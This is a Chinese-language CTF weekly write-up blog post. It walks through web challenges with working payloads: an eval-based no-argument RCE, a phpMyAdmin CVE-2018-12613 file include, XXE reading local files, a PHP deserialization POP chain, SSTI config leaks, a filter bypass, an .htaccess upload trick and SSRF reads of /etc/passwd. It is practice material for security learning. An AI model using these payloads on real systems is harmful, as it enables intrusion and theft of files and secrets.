<?php\ninclude \"flag.php\";\necho \"flag\u5728\u54ea\u91cc\u5462\uff1f<br>\";\nif(isset($_GET['exp'])){\n if (!preg_match('\/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/\/i', $_GET['exp'])) {\n if(';' === preg_replace('\/[a-z,_]+((?R)?)\/', NULL, $_GET['exp'])) {\n if (!preg_match('\/et|na|info|dec|bin|hex|oct|pi|log\/i', $_GET['exp'])) {\n \/\/ echo $_GET['exp'];\n @eval($_GET['exp']);\n }\n else{\n die(\"\u8fd8\u5dee\u4e00\u70b9\u54e6\uff01\");\n }\n }\n else{\n die(\"\u518d\u597d\u597d\u60f3\u60f3\uff01\");\n }\n }\n else{\n die(\"\u8fd8\u60f3\u8bfbflag\uff0c\u81ed\u5f1f\u5f1f\uff01\");\n }\n}\n\/\/ highlight_file(__FILE__);\n?><\/code><\/pre>\n\n\n\n\u5f88\u660e\u663e\uff0c\u6e90\u7801\u5b58\u5728\u4e09\u5c42\u8fc7\u6ee4\u3002<\/p>\n\n\n\n
1.\u7b2c\u4e00\u5c42\uff0c\u8fc7\u6ee4\u4e86\u4f2a\u534f\u8bae\uff0c\u8fd9\u91cc\u4e0d\u8003\u8651\u4f2a\u534f\u8bae\u4f7f\u7528<\/p>\n\n\n\n
2.\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\/[a-z,_]+\/<\/p>\n\n\n\n
[a-z,_]\uff1a\u5339\u914d\u5b57\u7b26\u4e0e\u4e0b\u5212\u7ebf<\/p>\n\n\n\n
+\uff1a\u53ef\u5339\u914d\u524d\u4e00\u4e2a\u8868\u8fbe\u5f0f\u591a\u6b21<\/p>\n\n\n\n
(?R)\uff1a\u6574\u4e2a\u8868\u8fbe\u5f0f\u8fed\u4ee3\u5339\u914d<\/p>\n\n\n\n
\uff08?R)?\uff1a\u5141\u8bb8”()”\u5185\u51fa\u73b01\u4e2a\u62160\u4e2a \u6bd4\u5982:c(a()b()),c(a())<\/p>\n\n\n\n
\u6240\u4ee5\u8fd9\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u542b\u4e49\u662f\u5339\u914dvar_dump(scandir())\u8fd9\u79cd\u65e0\u53c2\u6570\u547d\u4ee4\u6267\u884c<\/code><\/pre>\n\n\n\n3.\u8fc7\u6ee4\u4e86\u4e00\u4e9b\u51fd\u6570<\/p>\n\n\n\n
scandir(‘.’)\u662f\u8fd4\u56de\u5f53\u524d\u76ee\u5f55,\u867d\u7136\u6211\u4eec\u65e0\u6cd5\u4f20\u53c2\uff0c\u4f46\u662f\u7531\u4e8elocaleconv() \u8fd4\u56de\u7684\u6570\u7ec4\u7b2c\u4e00\u4e2a\u5c31\u662f\u2018.\u2019\uff0ccurrent()\u53d6\u7b2c\u4e00\u4e2a\u503c\uff0c\u90a3\u4e48current(localeconv())\u5c31\u80fd\u6784\u9020\u4e00\u4e2a\u2018.\u2019,\u90a3\u4e48\u4ee5\u4e0b\u5c31\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u8fd4\u56de\u67e5\u770b<\/p>\n\n\n\n
?exp=var_dump(scandir(current(localeconv())));<\/code><\/pre>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b0e0ad8a87365b4e05e3c1bdad208de7.png\")
<\/figure>\n\n\n\n\u67e5\u770b\u5230flag.php\u5728\u5f53\u5148\u6570\u7ec4\u7684\u7b2c4\u4e2a\u4f4d\u7f6e\uff0c\u6240\u4ee5\u9700\u8981\u79fb\u52a8\u6307\u9488<\/p>\n\n\n\n
end()\uff0cnext() \uff0cprev() \uff0creset() \uff0ceach()\u597d\u50cf\u4e0d\u80fd\u91cd\u590d\u5957\u5a03<\/p>\n\n\n\n
\u56e0\u4e3aflag\u5728\u5012\u6570\u7b2c\u4e8c\u4e2a\u4f4d\u7f6e\uff0c\u6240\u4ee5\u53cd\u8f6c\u6570\u7ec4\uff0c\u5728\u79fb\u52a8\u6307\u9488\u5230\u4e0b\u4e00\u4e2a\u5373\u53ef<\/p>\n\n\n\n
?exp=var_dump(show_source(next(array_reverse(scandir(current(localeconv()))))));<\/code><\/pre>\n\n\n\n![\"img\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/3ad1f535fcc5411a3dae1d41f9e36365.png\")
<\/figure>\n\n\n\n6.[GWCTF 2019]\u6211\u6709\u4e00\u4e2a\u6570\u636e\u5e93<\/h3>\n\n\n\n
\u4e0a\u6765\u4e00\u5806\u4e71\u7801\u8fd8\u539f\uff1a<\/p>\n\n\n\n
\u626b\u4e00\u904d\u53d1\u73b0\u6570\u636e\u5e93\u767b\u9646\u9875\u9762![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/b4fd1660e79e133613a624728be23c33.png\")
<\/p>\n\n\n\n
CVE-2018-12613-PhpMyadmin\u540e\u53f0\u6587\u4ef6\u5305\u542b![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/67da621d97255400cac203a8977468e8.png\")
<\/p>\n\n\n\n
if (! empty($_REQUEST['target'])\n && is_string($_REQUEST['target'])\n && ! preg_match('\/^index\/', $_REQUEST['target'])\n && ! in_array($_REQUEST['target'], $target_blacklist)\n && Core::checkPageValidity($_REQUEST['target'])\n) {\n include $_REQUEST['target'];\n exit;\n}<\/code><\/pre>\n\n\n\ntarget_blacklist\u6ca1\u5565\u4e1c\u897f<\/p>\n\n\n\n
Core::checkPageValidity($_REQUEST[\u2018target\u2019])\uff0cCore\u7c7b\u53c2\u6570\u6821\u9a8c\u65b9\u6cd5<\/p>\n\n\n\n
public static function checkPageValidity(&$page, array $whitelist = [])\n {\n if (empty($whitelist)) {\n $whitelist = self::$goto_whitelist;\n }\n if (! isset($page) || !is_string($page)) {\n return false;\n }\n\n if (in_array($page, $whitelist)) {\n return true;\n }\n\n $_page = mb_substr(\n $page,\n 0,\n mb_strpos($page . '?', '?')\n );\n if (in_array($_page, $whitelist)) {\n return true;\n }\n\n $_page = urldecode($page);\n $_page = mb_substr(\n $_page,\n 0,\n mb_strpos($_page . '?', '?')\n );\n if (in_array($_page, $whitelist)) {\n return true;\n }\n return false;\n }<\/code><\/pre>\n\n\n\ntarget=db_datadict.php?\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/\u2026\/flag<\/p>\n\n\n\n![\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"](\"https:\/\/i-blog.csdnimg.cn\/blog_migrate\/23117c8e2d209c8eb16bbfdc442bd0cb.png\")
<\/figure>\n\n\n\n\u4e0b\u5468\u76ee\u6807<\/h3>\n\n\n\n
\u200b \u5e0c\u671b\u4e0b\u5468\u4e0d\u4f1a\u751f\u75c5()\uff0c\u53ea\u8981buu\u4e0d\u5d29\uff0c\u6211\u5c31\u8981\u8865\u4e0a\u8fd9\u5468\u6ca1\u505a\u5b8c\u7684\u9898\u548c\u5b8c\u6210\u4e0b\u5468\u7684\u6307\u6807<\/p>\n\n\n\n
11.24—11.30\u5468<\/h2>\n\n\n\n
\u672c\u5468\u603b\u7ed3:\u8fd9\u5468\u57fa\u672c\u590d\u73b0\u5b8c\u6bd5NewStar2025\u7684\u6240\u6709\u9898\u76ee\uff0c\u6709\u4ef7\u503c\u7684\u4e00\u4e9b\u4f53\u73b0\u5728\u5468\u62a5\u91cc\u4e86\uff0c\u592a\u7b80\u5355\u7684\u5c31\u6ca1\u6709\u653e\u3002\u6574\u4f53\u505a\u4e0b\u6765\u4eca\u5e74\u7684NewStar\u7684\u96be\u5ea6\u4e0d\u5982\u53bb\u5e74\uff0c\u4f46\u662f\u4e5f\u4e0d\u4e4f\u8bbe\u8ba1\u7684\u5f88\u597d\u7684\uff0c\u8ba9\u4eba\u53d7\u76ca\u532a\u6d45\u7684\u9898\u76ee\uff08ps:week5\u7684\u6700\u540e\u4e00\u9053\u9898\u76ee\u8fd8\u6ca1\u6709\u6253\u901a\uff0c\u4e0b\u5468\u518d\u84b8\u4e00\u84b8\uff09\u3002buu\u4e5f\u505a\u4e86\u51e0\u9053\u9898\uff0c\u4f46\u8fd9\u5468\u611f\u89c9\u5b66\u5230\u7684\u4e1c\u897f\u8fd8\u662f\u4e0d\u7b97\u591a\uff0c\u4e0b\u5468\u7ee7\u7eed\u52aa\u529b\u5427\u3002<\/p>\n\n\n\n
\u540c\u65f6\uff0c\u6211\u627e\u65f6\u95f4\u5bf9\u300a\u4f60\u7f3a\u5931\u7684\u90a3\u95e8\u8ba1\u7b97\u673a\u8bfe\u300b\u8fd9\u90e8\u975e\u5e38\u597d\u7684\u4f5c\u54c1\u8fdb\u884c\u4e86\u8fdb\u4e00\u6b65\u7684\u603b\u7ed3\u548c\u7f29\u51cf\uff0c\u5c06\u5176\u53d1\u5e03\u5728\u4e86\u6211\u7684\u535a\u5ba2\u4e0a\u9762\u5e76\u6301\u7eed\u66f4\u65b0\uff0c\u76ee\u7684\u5c31\u662f\u4e3a\u4e86\u80fd\u8ba9\u5b8c\u5168\u6ca1\u63a5\u89e6\u8fc7\u8ba1\u7b97\u673a\u7684\u771f\u6b63\u7684\u5c0f\u767d\u5feb\u901f\u4e0a\u624b\uff0c\u5982\u679c\u5927\u5bb6\u6709\u540c\u5b66\u6216\u670b\u53cb\u9700\u8981\u8fd9\u4e9b\u7684\uff0c\u8bf7\u5c3d\u60c5\u4f7f\u7528\uff08\uff09\uff0c\u5728\u6587\u7ae0\u7684\u6700\u540e\u6211\u5c06\u9644\u4e0aurl<\/p>\n\n\n\n
\u5199\u5b8c\u4f20\u5230\u98de\u4e66\u4e4b\u540e\u624d\u53d1\u73b0\uff0c\u56fe\u7247\u90fd\u662f\u7528\u6211\u7684\u56fe\u5e8a\u4f20\u7684\uff0c\u4e91\u6587\u6863\u91cc\u9762\u770b\u4e0d\u89c1\uff0c\u54ed\u4e86\u3002\u6211\u628a\u5b83\u66f4\u65b0\u5230\u535a\u5ba2\u4e0a\u9762\u4e86\uff0c\u76f4\u63a5\u770b\u535a\u5ba2\u5427–>https:\/\/shaneior.github.io\/2025\/11\/23\/UKY%E5%91%A8%E6%8A%A5\/<\/p>\n\n\n\n
1. [NCTF2019]Fake XML cookbook<\/h2>\n\n\n\n
\u5f00\u5c40\u4e00\u4e2a\u767b\u5f55\u9875\u9762\uff0csql\u6ce8\u5165\uff0cSSTI\u4e4b\u540e\u53d1\u73b0\u90fd\u4e0d\u662f\uff0c\u968f\u4fbf\u586b\u4e2a\u6570\u636e\u6293\u5305\u770b\u770b<\/p>\n\n\n\n![\"image-20251129230616038\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230616038.png\")
<\/figure>\n\n\n\n\u53d1\u73b0\u662fxml\u89e3\u6790\uff0cXXE\uff08XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\uff09\u6f0f\u6d1e<\/p>\n\n\n\n![\"image-20251129230655397\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230655397.png\")
<\/figure>\n\n\n\n\u901a\u8fc7<!ENTITY><\/code>\u58f0\u660e\u5f15\u7528\u6587\u4ef6\uff0cXML\u89e3\u6790\u5668\u4f1a\u52a0\u8f7d\u5e76\u66ff\u6362\u5b9e\u4f53\u5185\u5bb9\uff0c\u8fd9\u91cc\u5c06\u5176\u66ff\u6362\u4e3a\u53ef\u4ee5\u56de\u663e\u7684&admin<\/p>\n\n\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE note [\n <!ENTITY admin SYSTEM \"file:\/\/\/flag\">\n ]>\n<user><username>&admin;<\/username><password>123<\/password><\/user><\/code><\/pre>\n\n\n\n![\"image-20251129230828113\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129230828113.png\")
<\/figure>\n\n\n\n2.[MRCTF2020]Ezpop<\/h2>\n\n\n\n
\u76f4\u63a5\u7ed9\u6e90\u7801<\/p>\n\n\n\n
<?php\n\/\/flag is in flag.php\n\/\/WTF IS THIS?\n\/\/Learn From https:\/\/ctf.ieki.xyz\/library\/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95\n\/\/And Crack It!\nclass Modifier {\n protected $var;\n public function append($value){\n include($value);\n }\n public function __invoke(){\n $this->append($this->var);\n }\n}\n\nclass Show{\n public $source;\n public $str;\n public function __construct($file='index.php'){\n $this->source = $file;\n echo 'Welcome to '.$this->source.\"<br>\";\n }\n public function __toString(){\n return $this->str->source;\n }\n\n public function __wakeup(){\n if(preg_match(\"\/gopher|http|file|ftp|https|dict|..\/i\", $this->source)) {\n echo \"hacker\";\n $this->source = \"index.php\";\n }\n }\n}\n\nclass Test{\n public $p;\n public function __construct(){\n $this->p = array();\n }\n\n public function __get($key){\n $function = $this->p;\n return $function();\n }\n}\n\nif(isset($_GET['pop'])){\n @unserialize($_GET['pop']);\n}\nelse{\n $a=new Show;\n highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\nflag.php\u5e94\u8be5\u5728web\u76ee\u5f55\u4e0b\u9762<\/p>\n\n\n\n
class Modifier {\n protected $var;\n public function append($value){\n include($value);\n }\n public function __invoke(){\n $this->append($this->var);\n }\n}<\/code><\/pre>\n\n\n\ninclude\u51fd\u6570\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e2a\u63a5\u53e3\uff0c\u76f4\u63a5\u5305\u542bflag.php\u6587\u4ef6\u3002\u4e3a\u4e86\u5b9e\u73b0\u8be5\u65b9\u6cd5\u5fc5\u987b\u6709\u4e2a\u8c03\u7528\u51fd\u6570\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n
class Test{\n public $p;\n public function __construct(){\n $this->p = array();\n }\n\n public function __get($key){\n $function = $this->p;\n return $function();\n }\n}<\/code><\/pre>\n\n\n\n\u76f4\u63a5\u5f00\u59cbpayload\u4ee3\u7801<\/p>\n\n\n\n
<?php\nclass Modifier {\n protected $var=\"php:\/\/filter\/read=convert.base64-encode\/resource=flag.php\";\n\n}\n\nclass Test{\n public $p;\n\n}\n\nclass Show{\n public $source;\n public $str;\n\n}\n\n$a = new Show();\n$a->source = new Show();\n$a->source->str = new Test();\n$a->source->str->p = new Modifier();\n\necho urlencode(serialize($a));\n\n?><\/code><\/pre>\n\n\n\n?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D<\/code><\/pre>\n\n\n\n![\"image-20251129231515722\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129231515722.png\")
<\/figure>\n\n\n\nbase64\u89e3\u7801\u5f97\u5230FLAG<\/p>\n\n\n\n
3.[MRCTF2020]PYWebsite \u3010IP \u4fe1\u4efb\u6f0f\u6d1e\u3011<\/h2>\n\n\n\n
\u5176\u5b9e\u5c31\u662f\u628ax-forward-for\u6539\u6210127.0.0.1\uff08\uff09<\/p>\n\n\n\n![\"image-20251129232203925\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232204747.png\")
<\/figure>\n\n\n\n<script>\n\n function enc(code){\n hash = hex_md5(code);\n return hash;\n }\n function validate(){\n var code = document.getElementById(\"vcode\").value;\n if (code != \"\"){\n if(hex_md5(code) == \"0cd4da0223c0b280829dc3ea458d655c\"){\n alert(\"\u60a8\u901a\u8fc7\u4e86\u9a8c\u8bc1\uff01\");\n window.location = \".\/flag.php\"\n }else{\n alert(\"\u4f60\u7684\u6388\u6743\u7801\u4e0d\u6b63\u786e\uff01\");\n }\n }else{\n alert(\"\u8bf7\u8f93\u5165\u6388\u6743\u7801\");\n }\n\n }\n\n <\/script><\/code><\/pre>\n\n\n\n\u76f4\u63a5\u8bbf\u95ee\uff0c\u610f\u6599\u4e4b\u4e2d\u4e0d\u884c<\/p>\n\n\n\n![\"image-20251129232301573\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232301573.png\")
<\/figure>\n\n\n\n\u201c\u9664\u4e86\u8d2d\u4e70\u8005\u548c\u6211\u201d\u770b\u51fa\u6765\u5e94\u8be5\u662f\u8bf7\u6c42\u672c\u5730\u8bbf\u95ee\uff0c\u6539x-forward-for\uff1a127.0.0.1<\/p>\n\n\n\n![\"image-20251129232407046\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232407046.png\")
<\/figure>\n\n\n\n\u6210\u529f<\/p>\n\n\n\n
4.[\u5b89\u6d35\u676f 2019]easy_web<\/h2>\n\n\n\n![\"image-20251129232730810\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129232730810.png\")
<\/h3>\n\n\n\n
\u770b\u5230url\u91cc\u9762http:\/\/5cefc48c-a491-4714-9471-ff016b33d1ea.node5.buuoj.cn:81\/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=<\/p>\n\n\n\n
\u6709img\u548ccmd\u53c2\u6570\uff0c\u8bd5\u8fc7\u4e4b\u540e\u53d1\u73b0img\u7684\u53c2\u6570\u662fbase64\u52a0\u5bc6\u4e24\u6b21\uff0c\u7136\u540ehex\u89e3\u5bc6\u4e00\u6b21<\/p>\n\n\n\n
\u89e3\u51fa\u6765\u662f555.png\uff0c\u731c\u60f3\u8fd9\u91cc\u662f\u6253\u5f00\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6539\u6210index.php\uff0cTmprMlJUWTBOalUzT0RKRk56QTJPRGN3<\/p>\n\n\n\n
<?php\nerror_reporting(E_ALL || ~ E_NOTICE);\nheader('content-type:text\/html;charset=utf-8');\n$cmd = $_GET['cmd'];\nif (!isset($_GET['img']) || !isset($_GET['cmd']))\n header('Refresh:0;url=.\/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');\n$file = hex2bin(base64_decode(base64_decode($_GET['img'])));\n\n$file = preg_replace(\"\/[^a-zA-Z0-9.]+\/\", \"\", $file);\nif (preg_match(\"\/flag\/i\", $file)) {\n echo '<img src =\".\/ctf3.jpeg\">';\n die(\"xixi\uff5e no flag\");\n} else {\n $txt = base64_encode(file_get_contents($file));\n echo \"<img src='data:image\/gif;base64,\" . $txt . \"'><\/img>\";\n echo \"<br>\";\n}\necho $cmd;\necho \"<br>\";\nif (preg_match(\"\/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|*|?|\\|\\\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\\$|[|]|{|}|(|)|-|<|>\/i\", $cmd)) {\n echo(\"forbid ~\");\n echo \"<br>\";\n} else {\n if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {\n echo `$cmd`;\n } else {\n echo (\"md5 is funny ~\");\n }\n\n?><\/code><\/pre>\n\n\n\nmd5\u5f3a\u7ed5\u8fc7\u548c\u4e00\u4e9b\u8fc7\u6ee4<\/p>\n\n\n\n
\u5bf9\u4e8e\u8fd9\u91cc\u7684\u6b63\u5219<\/p>\n\n\n\n
\u6211\u4eec\u53d1\u73b0\u7981\u7528\u4e86tac nl more less head tail cat od \u7b49\u4e00\u4e9b\u53ef\u4ee5\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u7684\u5173\u952e\u5b57\uff0c\u6ce8\u610f\u770b\u540e\u9762\u7684||\\|\uff0c\u6211\u4eec\u90fd\u77e5\u9053\u5728php\u4e2d\u6b63\u5219\u8fc7\u6ee4\u53cd\u659c\u6760\u8981\u5199\u56db\u4e2a\u5b57\u7b26\uff0c\u56e0\u4e3a\u4f1a\u7ecf\u8fc7\u4e24\u6b21\u89e3\u6790\uff0c\u4e00\u6b21php\u89e3\u6790\u5668\u7684\u89e3\u6790\uff0c\u53e6\u4e00\u6b21\u662f\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u89e3\u6790\u3002<\/p>\n\n\n\n
\\\uff0c\u5148\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u89e3\u6790\u6210\uff0c\u4f46\u662f\u524d\u9762\u53c8\u591a\u4e86\u4e00\u4e2a\uff0c\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210\uff0c|\u8fd9\u4e2a\u5b57\u7b26\u5728\u6b63\u5219\u4e2d\u662f\u4fdd\u7559\u5b57\u7b26\uff0c\u6240\u4ee5\u53ef\u4ee5\u8f6c\u4e49\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u7684\u89e3\u6790\u65f6\u4f1a\u4e0e\u540e\u9762\u7684|\u4e00\u8d77\u89e3\u6790\u6210|\uff0c\u95ee\u9898\u5c31\u51fa\u73b0\u5728\u8fd9\u4e00\u5757\uff0c\u6574\u4e2a\u6765\u770b\uff0c\u5148\u7ecf\u8fc7php\u7684\u89e3\u6790\u6210|||\uff0c\u518d\u7ecf\u8fc7\u6b63\u5219\u7684\u89e3\u6790\u6210|||\uff0c\u6240\u4ee5\u6700\u540e\u5339\u914d\u7684\u662f|\u800c\u4e0d\u662f\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u7528\u53cd\u659c\u6760\u7ed5\u8fc7<\/p>\n\n\n\n
cmd=dir \/ cmd=cat<\/p>\n\n\n\n![\"image-20251129233214029\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233214029.png\")
<\/figure>\n\n\n\n![\"image-20251129233225018\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233225018.png\")
<\/figure>\n\n\n\n6.[WesternCTF2018]shrine<\/h2>\n\n\n\n
\u5f00\u5c40\u7ed9\u6e90\u7801<\/p>\n\n\n\n
import flask\nimport os\n\napp = flask.Flask(__name__)\n\napp.config['FLAG'] = os.environ.pop('FLAG')\n\n@app.route('\/')\ndef index():\n return open(__file__).read()\n\n@app.route('\/shrine\/')\ndef shrine(shrine):\n def safe_jinja(s):\n s = s.replace('(', '').replace(')', '')\n blacklist = ['config', 'self']\n return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s\n return flask.render_template_string(safe_jinja(shrine))\n\nif __name__ == '__main__':\n app.run(debug=True)<\/code><\/pre>\n\n\n\n\u9898\u76ee\u7ed9\u51fa\u4e86Flask\u7684\u6e90\u7801\uff0c\u5176\u4e2d\u6709\u4e00\u6761FLAG<\/code>\u7684config\uff0c
\u6e90\u7801\u4e2d\u6709\u4e24\u4e2a\u8def\u7531\uff0c\u5176\u4e2d\u8fd8\u6709\/shrine\/<\/code>\u8def\u5f84\uff0c\u7b80\u5355\u6d4b\u8bd5\u540e\u5b58\u5728\u6a21\u7248\u6ce8\u5165\uff1a\/shrine\/{{2+2}}<\/code><\/p>\n\n\n\n![\"image-20251129233403858\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233403858.png\")
<\/figure>\n\n\n\n\u82e5\u4e0d\u5b58\u5728\u9ed1\u540d\u5355\uff0c\u53ef\u4ee5\u4f7f\u7528{{self.dict<\/strong>}}\u8bfb\u53d6\uff0c<\/p>\n\n\n\nPython\u7684\u6c99\u7bb1\u9003\u9038\u53ef\u4ee5\u5229\u7528Python\u5bf9\u8c61\u4e4b\u95f4\u7684\u5f15\u7528\u5173\u7cfb\u6765\u8c03\u7528\u88ab\u7981\u7528\u7684\u51fd\u6570\u5bf9\u8c61\uff0c\u5176\u4e2d\u6709\u4e24\u4e2a\u51fd\u6570\u5305\u542b\u4e86current_app
\u5168\u5c40\u53d8\u91cf\uff0c\u4e5f\u5c31\u662f\uff1aurl_for()\u548cget_flashed_messages()<\/p>\n\n\n\n
\/shrine\/{{url_for.__globals__['current_app'].config}}<\/code><\/pre>\n\n\n\n![\"image-20251129233503256\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233503256.png\")
<\/figure>\n\n\n\n![\"image-20251129233515563\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251129233515563.png\")
<\/figure>\n\n\n\n7.NewStar2025-week3 \u5c0fE\u7684\u79d8\u5bc6\u8ba1\u5212<\/h2>\n\n\n\n
\u63d0\u793a\u5907\u4efd\u6587\u4ef6\uff0c\u76f4\u63a5\u626b\u51fa\u6765www.zip<\/p>\n\n\n\n![\"image-20251130215911889\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130215911889.png\")
<\/figure>\n\n\n\n<?php\nrequire_once 'user.php';\n$userData = getUserData();\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n $username = $_POST['username'] ?? '';\n $password = $_POST['password'] ?? '';\n\n if ($username === $userData['username'] && $password === $userData['password']) {\n header('Location: \/secret-xxxxxxxxxxxxxxxxxxx');\n exit();\n } else {\n echo '\u767b\u5f55\u5931\u8d25,\u5728git\u91cc\u627e\u627e\u5427';\n exit();\n }\n}<\/code><\/pre>\n\n\n\n\u63d0\u793a\u5728git\u91cc\u9762<\/p>\n\n\n\n![\"image-20251130221418486\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221418486.png\")
<\/figure>\n\n\n\ngit reflog show --all <\/code><\/pre>\n\n\n\n\u8bb0\u5f55\u6240\u6709\u5f15\u7528\u7684\u79fb\u52a8\u5386\u53f2\uff0c\u5373\u8bb0\u5f55\u6240\u6709\u64cd\u4f5c<\/p>\n\n\n\n![\"image-20251130221516574\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221516574.png\")
<\/figure>\n\n\n\n353b98\u5206\u652f\u88ab\u5220\u4e86\uff0c\u76f4\u63a5\u770b<\/p>\n\n\n\n![\"image-20251130221555765\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221555765.png\")
<\/figure>\n\n\n\n\u8bfb\u5230\u5bc6\u7801\u76f4\u63a5\u767b<\/p>\n\n\n\n![\"image-20251130221633013\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221633013.png\")
<\/figure>\n\n\n\nmac\u7684.DS_Store\u6cc4\u9732\uff0c\u627e\u5230flag\u6587\u4ef6\u540d\uff0c\u76f4\u63a5\u8bfbflag<\/p>\n\n\n\n![\"image-20251130221725962\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130221725962.png\")
<\/figure>\n\n\n\n\u6210\u529f<\/p>\n\n\n\n
8.NewStar2025-week3 mirror_gate<\/h2>\n\n\n\n
\u7b2c\u4e00\u6b21\u89c1\u5230\u76f4\u63a5\u53ef\u4ee5\u770b\u5230.htaccess\u7684\u6587\u4ef6\u4e0a\u4f20\uff0c\u7279\u6b64\u8bb0\u5f55\u4e00\u4e0b<\/p>\n\n\n\n
\u626b\u76ee\u5f55\u626b\u51fa\u6765.htaccess<\/p>\n\n\n\n![\"image-20251130222002361\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222002361.png\")
<\/figure>\n\n\n\n![\"image-20251130222017476\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222017476.png\")
<\/figure>\n\n\n\nwebp\u5f53php\u6267\u884c\uff0c\u7136\u540e\u5c31\u5f88\u5e38\u89c4\u4e86\uff0c\u77ed\u6807\u7b7e\u7ed5\u8fc7<\/p>\n\n\n\n
<?=show_source('\/flag.php');?><\/code><\/pre>\n\n\n\n\u76f4\u63a5\u62ff\u5230flag<\/p>\n\n\n\n![\"image-20251130222138660\"](\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130222138660.png\")
<\/figure>\n\n\n\n9.NewStar2025-week4 SSTI \u5728\u54ea\u91cc\uff1f<\/h2>\n\n\n\n
\u5b58\u5728 ssrf.<\/p>\n\n\n\n
file:\/\/\/etc\/passwd\u8bfb\u5230\u662f flask \u670d\u52a1<\/p>\n\n\n\n
file:\/\/\/app\/app.py\u8bfb\u6e90\u7801<\/p>\n\n\n\n
from flask import Flask, request, render_template_string\nimport os\n\napp = Flask(__name__)\n\n@app.route('\/', methods=['GET','POST'])\ndef index():\n template = request.form.get('template', 'Hello World!')\n return render_template_string(template)\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=5001)<\/code><\/pre>\n\n\n\n\u5c06 name \u63a5\u53d7\u7684\u4e1c\u897f\u7ed9\u5230\u4e86 template\uff0c\u611f\u89c9\u6709 SSTI<\/p>\n\n\n\n
\u7528 gopher \u534f\u8bae\u6253\uff0c\u5148\u8ba4\u8bc6\u4e00\u4e0bgopher \u534f\u8bae<\/p>\n\n\n\n
